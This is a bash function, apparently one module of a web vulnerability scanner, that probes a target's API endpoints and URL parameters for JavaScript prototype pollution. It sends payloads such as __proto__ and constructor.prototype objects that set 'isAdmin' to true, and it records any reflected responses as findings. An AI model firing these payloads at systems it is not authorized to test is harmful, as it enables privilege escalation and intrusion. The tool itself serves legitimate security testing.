#!/usr/bin/env bash
# Vector 23: Prototype Pollution — Node.js client & server-side
# Desc: Injects __proto__ payloads to find prototype pollution in JS apps
# Severity: HIGH
# Proof: Confirms by causing observable behavior change or error

vector_prototype_pollution() {
  local target="$1"
  local report="$2"
  local domain=$(get_domain "$target")
  local findings=0

  print_info "Hunting Prototype Pollution..."

  # __proto__ injection payloads
  local proto_payloads=(
    '{"__proto__":{"isAdmin":true}}'
    '{"__proto__":{"polluted":"true"}}'
    '{"constructor":{"prototype":{"isAdmin":true}}}'
    '{"__proto__":{"admin":1}}'
    '{"__proto__":{"bypass":true}}'
  )

  # URL-based prototype pollution
  local url_payloads=(
    "__proto__[polluted]=true"
    "__proto__[isAdmin]=true"
    "constructor[prototype][isAdmin]=true"
    "__proto__.polluted=true"
  )

  # Merge-based (lodash/jquery extend)
  local merge_payloads=(
    '{"__proto__":{"polluted":"✅"}}'
    '[{"__proto__":{"polluted":"✅"}}]'
  )

  # Test JSON endpoints
  local urls=$(get_discovered_urls "$domain" 2>/dev/null | grep -i 'json\|api\|graphql\|rest\|v1\|v2' | head -10)
  
  if [ -z "$urls" ]; then
    urls="$target"
  fi

  for url in $urls; do
    for payload in "${proto_payloads[@]}" "${merge_payloads[@]}"; do
      local response=$(curl -s --connect-timeout 5 --max-time 8 \
        -X POST -H "Content-Type: application/json" \
        -d "$payload" "$url" 2>/dev/null)
      
      # Check for pollution reflection
      if echo "$response" | grep -qi '"polluted"'; then
        print_find "Prototype Pollution Confirmed!" "Server reflects __proto__ injection"
        echo "SEVERITY: HIGH
VECTOR: Prototype Pollution
DETAIL: Server-side JS prototype pollution confirmed
URL: $url
PAYLOAD: $payload
EVIDENCE: Response contains 'polluted' from __proto__ injection
EXPLOIT: May allow RCE, bypass auth, or modify app behavior" > "$REPORTS_DIR/.finding_pp_$(date +%s).txt"
        findings=$((findings + 1))
        break 2
      fi
      
      # Also check for X-Prototype-Pollution header or error messages
      local headers=$(curl -sI --connect-timeout 5 --max-time 8 \
        -X POST -H "Content-Type: application/json" \
        -d "$payload" "$url" 2>/dev/null)
      
      if echo "$headers" | grep -qi "x-polluted\|x-prototype\|polluted"; then
        print_find "Prototype Pollution via Header!" "Server pollution header detected"
        findings=$((findings + 1))
        break 2
      fi
    done
  done

  # URL-based pollution test
  for payload in "${url_payloads[@]}"; do
    local test_url="${target}?${payload}"
    local body=$(curl -s --connect-timeout 5 --max-time 8 "$test_url" 2>/dev/null)
    if echo "$body" | grep -qi "polluted.*true\|isAdmin.*true"; then
      print_find "URL-based Prototype Pollution!" "$payload"
      findings=$((findings + 1))
      break
    fi
  done

  if [ "$findings" -eq 0 ]; then
    print_info "No prototype pollution detected"
  fi

  return $findings
}